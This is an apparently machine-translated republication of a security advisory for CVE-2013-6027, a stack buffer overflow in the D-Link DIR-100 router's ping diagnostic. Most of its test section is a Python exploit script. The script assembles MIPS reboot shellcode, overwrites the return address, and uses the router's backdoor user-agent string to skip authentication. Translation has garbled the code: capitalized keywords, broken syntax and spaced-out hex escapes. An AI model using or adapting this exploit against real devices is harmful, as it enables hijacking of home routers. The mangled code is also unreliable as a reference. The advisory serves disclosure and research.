D-Link DIR-100 'runtimediagnosticping () 'Stack Buffer Overflow Vulnerability

Source: Internet
Author: User

Release date:
Updated on:

Affected Systems:
D-Link DIR-100
Description:
--------------------------------------------------------------------------------
Bugtraq id: 63234
CVE (CAN) ID: CVE-2013-6027

D-Link DIR-100 is a small Broadband Router integrated with firewall functionality.

A buffer overflow vulnerability exists in the RuntimeDiagnosticPing function in the/bin/webs on the D-Link DIR-100 router, authenticated remote administrators can exploit this vulnerability to execute arbitrary commands by sending long set/runtime/diagnostic/pingIp parameters to Tools/tools_misc.xgi.

<* Source: Craig Heffner
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Import sys
Import urllib2

Try:
Url = 'HTTP: // % s/Tools/tools_misc.xgi? Domain = a & set/runtime/diagnostic/pingIp = '% sys. argv [1]
Except t Exception, e:
Print str (e)
Print 'usage: % s <target ip> '% sys. argv [0]
Sys. exit (1)

# This is the actual payload; here it is a simple reboot shellcode.
# This payload size is limited to about 200 bytes, otherwise you'll crash elsewhere in/bin/webs.
Payload = "\ x3c \ x06 \ x43 \ x21" # lui a2, 0x4321
Payload + = "\ x34 \ xc6 \ xfe \ xdc" # ori a2, a2, 0 xfedc
Payload + = "\ x3c \ x05 \ x28 \ x12" # lui a1, 0x2812
Payload + = "\ x34 \ xa5 \ x19 \ x69" # ori a1, a1, 0x1969
Payload + = "\ x3c \ x04 \ xfe \ xe1" # lui a0, 0xfee1
Payload + = "\ x34 \ x84 \ xde \ xad" # ori a0, a0, 0 xdead
Payload + = "\ x24 \ x02 \ x0f \ xf8" # li v0, 4088
Payload + = "\ x01 \ x01 \ x01 \ x0c" # syscall 0x40404

# The payload is split up; some of it before the return address on the stack, some after.
# This little snippet skips over the return address during execution.
# It assumes that your shellcode will not be using the $ fp or $ t9 registers.
Move_sp_fp = "\ x03 \ xa0 \ xf0 \ x21" # move $ fp, $ sp
Jump_code = "\ x27 \ xd9 \ x02 \ xd4" # addiu $ t9, $ fp, 724
Jump_code + = "\ x03 \ x21 \ xf8 \ x08" # jr $ t9
Jump_code + = "\ x27 \ xE0 \ xFE" # addiu $ zero, $ ra,-0x102

# Stitch together the payload chunk (s) and jump_code snippet
Shellcode_p1 = move_sp_fp + payload [0: 68] + jump_code + "DD"
If len (shellcode_p1) <86:
Shellcode_p1 + = "D" * (86-len (shellcode_p1 ))
Shellcode_p2 = ""
Else:
Shellcode_p2 = "DD" + payload [68:]

# Build the overflow buffer, with the return address and shellcode
# Libc. so base address and ROP gadget offset for the DIR-100, revA, v1.13
# Libc_base = 0x2aaee000
# Ret_offset = 0x3243C
Buf = shellcode_p1 + "\ x2A \ xB2 \ x04 \ x3C" + shellcode_p2

# Normally only admins can access the tools_misc.xgi page; use the backdoor user-agent to bypass authentication
Req = urllib2.Request (url + buf, headers = {'user-agent': 'xmlset _ roodkcableoj28840ybtide '})
Urllib2.urlopen (req)

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

D-Link
------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://www.dlink.com/

Related reading:

D-Link router firmware backdoor Vulnerability

Reverse Engineering youxun Technology (D-Link) router firmware Backdoor

How do I decompile the D-Link router firmware program and find its backdoor?

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.